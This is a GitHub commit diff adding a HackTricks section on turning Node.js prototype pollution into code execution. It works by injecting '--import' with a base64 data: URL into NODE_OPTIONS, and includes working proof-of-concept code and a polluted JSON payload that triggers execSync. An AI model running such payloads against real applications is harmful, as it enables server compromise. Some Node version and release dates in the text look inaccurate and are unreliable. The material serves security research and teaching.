Skip to content

Commit 983ebc1

Browse files
authored
Merge pull request #1233 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_nodejs-proto-prototype-pollution_prototype-pollution-to-rce_20250803_082503
Research Update Enhanced src/pentesting-web/deserialization/...
2 parents 1dc76a7 + ad3d694 commit 983ebc1

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -159,6 +159,51 @@ var proc = fork("a_file.js")
159159
// This should create the file /tmp/pp2rec
160160
```
161161

162+
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
163+
164+
> [!NOTE]
165+
> Since **Node.js 19** the CLI flag `--import` can be passed through `NODE_OPTIONS` in the same way `--require` can. In contrast to `--require`, `--import` understands **data-URIs** so the attacker does **not need write access to the file-system** at all. This makes the gadget far more reliable in locked-down or read-only environments.
166+
>
167+
> This technique was first publicly documented by PortSwigger research in May 2023 and has since been reproduced in several CTF challenges.
168+
169+
The attack is conceptually identical to the `--require /proc/self/*` tricks shown above, but instead of pointing to a file we embed the payload directly in a base64-encoded `data:` URL:
170+
171+
```javascript
172+
const { fork } = require("child_process")
173+
174+
// Manual pollution
175+
b = {}
176+
177+
// Javascript that is executed once Node parses the import URL
178+
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
179+
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
180+
181+
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
182+
// any key that will force spawn (fork) – same as earlier examples
183+
fork("./a_file.js");
184+
```
185+
186+
Abusing the vulnerable merge/clone sink shown at the top of the page:
187+
188+
```javascript
189+
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
190+
clone(USERINPUT);
191+
192+
// Gadget trigger
193+
fork("./a_file.js");
194+
// → creates /tmp/pp2rce_import
195+
```
196+
197+
### Why `--import` helps
198+
1. **No disk interaction** – the payload travels entirely inside the process command line and environment.
199+
2. **Works with ESM-only environments**`--import` is the canonical way to preload JavaScript in modern Node releases that default to ECMAScript Modules.
200+
3. **Bypasses some `--require` allow-lists** – a few hardening libraries only filter `--require`, leaving `--import` untouched.
201+
202+
> [!WARNING]
203+
> `--import` support in `NODE_OPTIONS` is still present in the latest **Node 22.2.0** (June 2025). The Node core team is discussing restricting data-URIs in the future, but no mitigation is available at the time of writing.
204+
205+
---
206+
162207
## DNS Interaction
163208

164209
Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
@@ -716,6 +761,11 @@ At least from v18.4.0 this protection has been **implemented,** and therefore th
716761

717762
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
718763

764+
> [!INFO]
765+
> **Node 20 (April 2023) & Node 22 (April 2025)** shipped further hardening: several `child_process` helpers now copy user-supplied `options` with **`CopyOptions()`** instead of using them by reference. This blocks pollution of nested objects such as `stdio`, but **does not protect against the `NODE_OPTIONS` / `--import` tricks** described above – those flags are still accepted via environment variables.
766+
> A full fix would have to restrict which CLI flags can be propagated from the parent process, which is being tracked in Node Issue #50559.
767+
768+
719769
### **Other Gadgets**
720770

721771
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@@ -726,6 +776,8 @@ In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
726776
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
727777
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
728778
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
779+
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
780+
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
729781
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
730782

731783
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)